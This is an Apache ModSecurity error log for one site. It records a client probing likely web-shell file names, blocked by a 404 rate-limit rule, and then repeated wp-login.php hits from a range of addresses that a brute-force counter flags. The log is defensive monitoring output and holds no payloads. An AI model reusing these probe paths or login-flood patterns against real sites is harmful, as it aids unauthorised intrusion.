[Fri Mar 27 19:11:24.052363 2026] [:error] [pid 27743:tid 27769] [client 158.158.32.90:3593] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "acZl3CA46UYYLqzw99DH7AAAAAU"]
[Fri Mar 27 19:11:24.597423 2026] [:error] [pid 27743:tid 27768] [client 158.158.32.90:57588] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "acZl3CA46UYYLqzw99DH7gAAAAQ"]
[Fri Mar 27 19:11:25.142533 2026] [:error] [pid 27743:tid 27767] [client 158.158.32.90:41628] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "acZl3SA46UYYLqzw99DH8AAAAAM"]
[Fri Mar 27 19:11:25.718164 2026] [:error] [pid 27749:tid 27802] [client 158.158.32.90:61215] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "acZl3cEqyoMni2Q6_X7pgwAAAEs"]
[Fri Mar 27 19:11:26.376638 2026] [:error] [pid 27743:tid 27780] [client 158.158.32.90:51406] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/utky.php"] [unique_id "acZl3iA46UYYLqzw99DH9AAAABA"]
[Fri Mar 27 19:11:26.985145 2026] [:error] [pid 63897:tid 63911] [client 158.158.32.90:41618] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/utky.php"] [unique_id "acZl3mVSkmYmLu7ycYg-xgAAAQw"]
[Fri Mar 27 19:11:27.540864 2026] [:error] [pid 27743:tid 27770] [client 158.158.32.90:40416] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/utky.php"] [unique_id "acZl3yA46UYYLqzw99DH9gAAAAY"]
[Fri Mar 27 19:11:28.082448 2026] [:error] [pid 27743:tid 27783] [client 158.158.32.90:47562] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/utky.php"] [unique_id "acZl4CA46UYYLqzw99DH-QAAABM"]
[Fri Mar 27 19:11:28.595976 2026] [:error] [pid 63897:tid 63920] [client 158.158.32.90:61203] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uang.php"] [unique_id "acZl4GVSkmYmLu7ycYg-xwAAARU"]
[Fri Mar 27 19:11:29.255662 2026] [:error] [pid 27743:tid 27782] [client 158.158.32.90:48873] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uang.php"] [unique_id "acZl4SA46UYYLqzw99DH_wAAABI"]
[Fri Mar 27 19:11:29.773778 2026] [:error] [pid 27851:tid 27868] [client 158.158.32.90:3870] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uang.php"] [unique_id "acZl4XR2ccxe3RMCLbri9AAAAMo"]
[Fri Mar 27 19:11:30.308008 2026] [:error] [pid 4341:tid 4363] [client 158.158.32.90:47579] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uang.php"] [unique_id "acZl4uKJWrNB5dMlERGNtwAAAZQ"]
[Fri Mar 27 19:11:30.827092 2026] [:error] [pid 63897:tid 63906] [client 158.158.32.90:3854] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp3.php"] [unique_id "acZl4mVSkmYmLu7ycYg-zAAAAQc"]
[Fri Mar 27 19:11:31.418469 2026] [:error] [pid 27743:tid 27769] [client 158.158.32.90:3901] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp3.php"] [unique_id "acZl4yA46UYYLqzw99DIAwAAAAU"]
[Fri Mar 27 19:11:31.931700 2026] [:error] [pid 27749:tid 27808] [client 158.158.32.90:34556] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp3.php"] [unique_id "acZl48EqyoMni2Q6_X7piwAAAFE"]
[Fri Mar 27 19:11:32.493833 2026] [:error] [pid 27743:tid 27767] [client 158.158.32.90:26146] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp3.php"] [unique_id "acZl5CA46UYYLqzw99DIBwAAAAM"]
[Fri Mar 27 19:11:32.993184 2026] [:error] [pid 27743:tid 27775] [client 158.158.32.90:39690] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "acZl5CA46UYYLqzw99DICQAAAAs"]
[Fri Mar 27 19:11:33.529714 2026] [:error] [pid 27743:tid 27777] [client 158.158.32.90:63962] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "acZl5SA46UYYLqzw99DIDgAAAA0"]
[Fri Mar 27 19:11:34.085790 2026] [:error] [pid 63897:tid 63911] [client 158.158.32.90:3356] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "acZl5mVSkmYmLu7ycYg-1QAAAQw"]
[Fri Mar 27 19:11:34.672842 2026] [:error] [pid 4293:tid 4304] [client 158.158.32.90:45568] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "acZl5pLjeJUC3OKtEx9cygAAAUk"]
[Fri Mar 27 19:11:35.288590 2026] [:error] [pid 4293:tid 4311] [client 158.158.32.90:46910] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/absorption.php"] [unique_id "acZl55LjeJUC3OKtEx9czAAAAVA"]
[Fri Mar 27 19:11:35.813159 2026] [:error] [pid 27851:tid 27863] [client 158.158.32.90:34514] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/absorption.php"] [unique_id "acZl53R2ccxe3RMCLbri-wAAAMU"]
[Fri Mar 27 19:11:36.487251 2026] [:error] [pid 4293:tid 4312] [client 158.158.32.90:39732] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/absorption.php"] [unique_id "acZl6JLjeJUC3OKtEx9c0QAAAVE"]
[Fri Mar 27 19:11:37.197002 2026] [:error] [pid 4341:tid 4355] [client 158.158.32.90:3377] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/absorption.php"] [unique_id "acZl6eKJWrNB5dMlERGNwAAAAYw"]
[Fri Mar 27 19:11:37.996740 2026] [:error] [pid 27749:tid 27800] [client 158.158.32.90:22478] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ticket.php"] [unique_id "acZl6cEqyoMni2Q6_X7pkQAAAEk"]
[Fri Mar 27 19:11:38.621895 2026] [:error] [pid 27743:tid 27764] [client 158.158.32.90:3312] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ticket.php"] [unique_id "acZl6iA46UYYLqzw99DIGwAAAAA"]
[Fri Mar 27 19:11:39.249970 2026] [:error] [pid 27743:tid 27782] [client 158.158.32.90:3327] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ticket.php"] [unique_id "acZl6yA46UYYLqzw99DIHQAAABI"]
[Fri Mar 27 19:11:39.770050 2026] [:error] [pid 27743:tid 27780] [client 158.158.32.90:60665] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ticket.php"] [unique_id "acZl6yA46UYYLqzw99DIIQAAABA"]
[Fri Mar 27 19:11:40.288969 2026] [:error] [pid 27743:tid 27784] [client 158.158.32.90:26157] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wglum1.php"] [unique_id "acZl7CA46UYYLqzw99DIJQAAABQ"]
[Fri Mar 27 19:11:41.212139 2026] [:error] [pid 4341:tid 4353] [client 158.158.32.90:39059] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wglum1.php"] [unique_id "acZl7eKJWrNB5dMlERGNzAAAAYo"]
[Fri Mar 27 19:11:41.895558 2026] [:error] [pid 4341:tid 4352] [client 158.158.32.90:3302] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wglum1.php"] [unique_id "acZl7eKJWrNB5dMlERGN0AAAAYk"]
[Fri Mar 27 19:11:42.564514 2026] [:error] [pid 27750:tid 27829] [client 158.158.32.90:37389] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wglum1.php"] [unique_id "acZl7oaSil5rd17ieLzm6gAAAIs"]
[Fri Mar 27 19:11:43.247684 2026] [:error] [pid 27743:tid 27786] [client 158.158.32.90:3313] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xpwer1.php"] [unique_id "acZl7yA46UYYLqzw99DIMQAAABY"]
[Fri Mar 27 19:11:43.855540 2026] [:error] [pid 4293:tid 4303] [client 158.158.32.90:3121] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xpwer1.php"] [unique_id "acZl75LjeJUC3OKtEx9c3AAAAUg"]
[Fri Mar 27 19:22:45.370511 2026] [:error] [pid 27743:tid 27769] [client 185.194.178.75:28377] [client 185.194.178.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.75, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZohSA46UYYLqzw99DNFwAAAAU"]
[Fri Mar 27 19:22:45.375495 2026] [:error] [pid 27743:tid 27781] [client 185.194.178.107:40297] [client 185.194.178.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZohSA46UYYLqzw99DNFgAAABE"]
[Fri Mar 27 19:32:54.954700 2026] [:error] [pid 27750:tid 27825] [client 185.194.178.100:31319] [client 185.194.178.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZq5oaSil5rd17ieLzqVQAAAIc"]
[Fri Mar 27 19:32:54.965724 2026] [:error] [pid 27743:tid 27779] [client 185.194.178.55:42817] [client 185.194.178.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZq5iA46UYYLqzw99DRKAAAAA8"]
[Fri Mar 27 19:43:08.884482 2026] [:error] [pid 4341:tid 4349] [client 185.194.178.81:65529] [client 185.194.178.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.81, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZtTOKJWrNB5dMlERGY4AAAAYY"]
[Fri Mar 27 19:43:08.886322 2026] [:error] [pid 4341:tid 4365] [client 185.194.178.61:25135] [client 185.194.178.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.61, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZtTOKJWrNB5dMlERGY4QAAAZY"]
[Fri Mar 27 19:53:23.085157 2026] [:error] [pid 4341:tid 4350] [client 185.194.178.103:48903] [client 185.194.178.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZvs-KJWrNB5dMlERGckQAAAYc"]
[Fri Mar 27 20:03:56.472344 2026] [:error] [pid 4293:tid 4303] [client 185.194.178.65:61377] [client 185.194.178.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.65, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZyLJLjeJUC3OKtEx9-FgAAAUg"]
[Fri Mar 27 20:03:56.473845 2026] [:error] [pid 4293:tid 4316] [client 185.194.178.76:53795] [client 185.194.178.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.76, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZyLJLjeJUC3OKtEx9-FwAAAVU"]
[Fri Mar 27 20:14:00.130769 2026] [:error] [pid 4293:tid 4311] [client 185.194.178.54:25779] [client 185.194.178.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.54, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZ0iJLjeJUC3OKtEx-F2QAAAVA"]
[Fri Mar 27 20:14:00.135215 2026] [:error] [pid 27749:tid 27794] [client 185.194.178.55:30379] [client 185.194.178.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZ0iMEqyoMni2Q6_X7yOAAAAEM"]
[Fri Mar 27 20:23:58.468387 2026] [:error] [pid 27743:tid 27770] [client 185.194.178.60:42813] [client 185.194.178.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZ23iA46UYYLqzw99DoNQAAAAY"]
[Fri Mar 27 20:33:58.894866 2026] [:error] [pid 4293:tid 4295] [client 185.194.178.82:34423] [client 185.194.178.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.82, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZ5NpLjeJUC3OKtEx-VgAAAAUA"]
[Fri Mar 27 20:33:58.964454 2026] [:error] [pid 27749:tid 27813] [client 185.194.178.85:36841] [client 185.194.178.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.85, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZ5NsEqyoMni2Q6_X70mgAAAFY"]
[Fri Mar 27 20:54:42.746070 2026] [:error] [pid 27743:tid 27779] [client 185.194.178.82:23895] [client 185.194.178.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.82, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZ-EiA46UYYLqzw99D2cAAAAA8"]
[Fri Mar 27 21:05:01.199985 2026] [:error] [pid 27851:tid 27862] [client 185.194.178.79:27687] [client 185.194.178.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.79, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acaAfXR2ccxe3RMCLbr6lAAAAMQ"]
[Fri Mar 27 21:05:01.201077 2026] [:error] [pid 63897:tid 63902] [client 185.194.178.85:65405] [client 185.194.178.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.85, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acaAfWVSkmYmLu7ycYhcywAAAQM"]
[Fri Mar 27 21:15:00.638481 2026] [:error] [pid 4293:tid 4308] [client 185.194.178.59:61041] [client 185.194.178.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acaC1JLjeJUC3OKtEx-t_QAAAU0"]
[Fri Mar 27 21:24:56.236011 2026] [:error] [pid 63897:tid 63923] [client 185.194.178.86:21899] [client 185.194.178.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acaFKGVSkmYmLu7ycYhi8gAAARg"]
[Fri Mar 27 21:24:56.237533 2026] [:error] [pid 27743:tid 27776] [client 185.194.178.95:53259] [client 185.194.178.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.95, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acaFKCA46UYYLqzw99AEPAAAAAw"]
[Fri Mar 27 21:35:04.792072 2026] [:error] [pid 27743:tid 27776] [client 185.194.178.66:58191] [client 185.194.178.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.66, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acaHiCA46UYYLqzw99AJ1gAAAAw"]
[Fri Mar 27 21:45:14.823694 2026] [:error] [pid 27749:tid 27807] [client 185.194.178.96:59659] [client 185.194.178.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acaJ6sEqyoMni2Q6_X4CmwAAAFA"]
[Fri Mar 27 21:45:14.824051 2026] [:error] [pid 27749:tid 27805] [client 185.194.178.76:42719] [client 185.194.178.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.76, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acaJ6sEqyoMni2Q6_X4CnAAAAE4"]
[Fri Mar 27 22:03:07.465051 2026] [:error] [pid 27743:tid 27776] [client 185.194.178.73:42793] [client 185.194.178.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.73, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acaOGyA46UYYLqzw99AR2gAAAAw"]
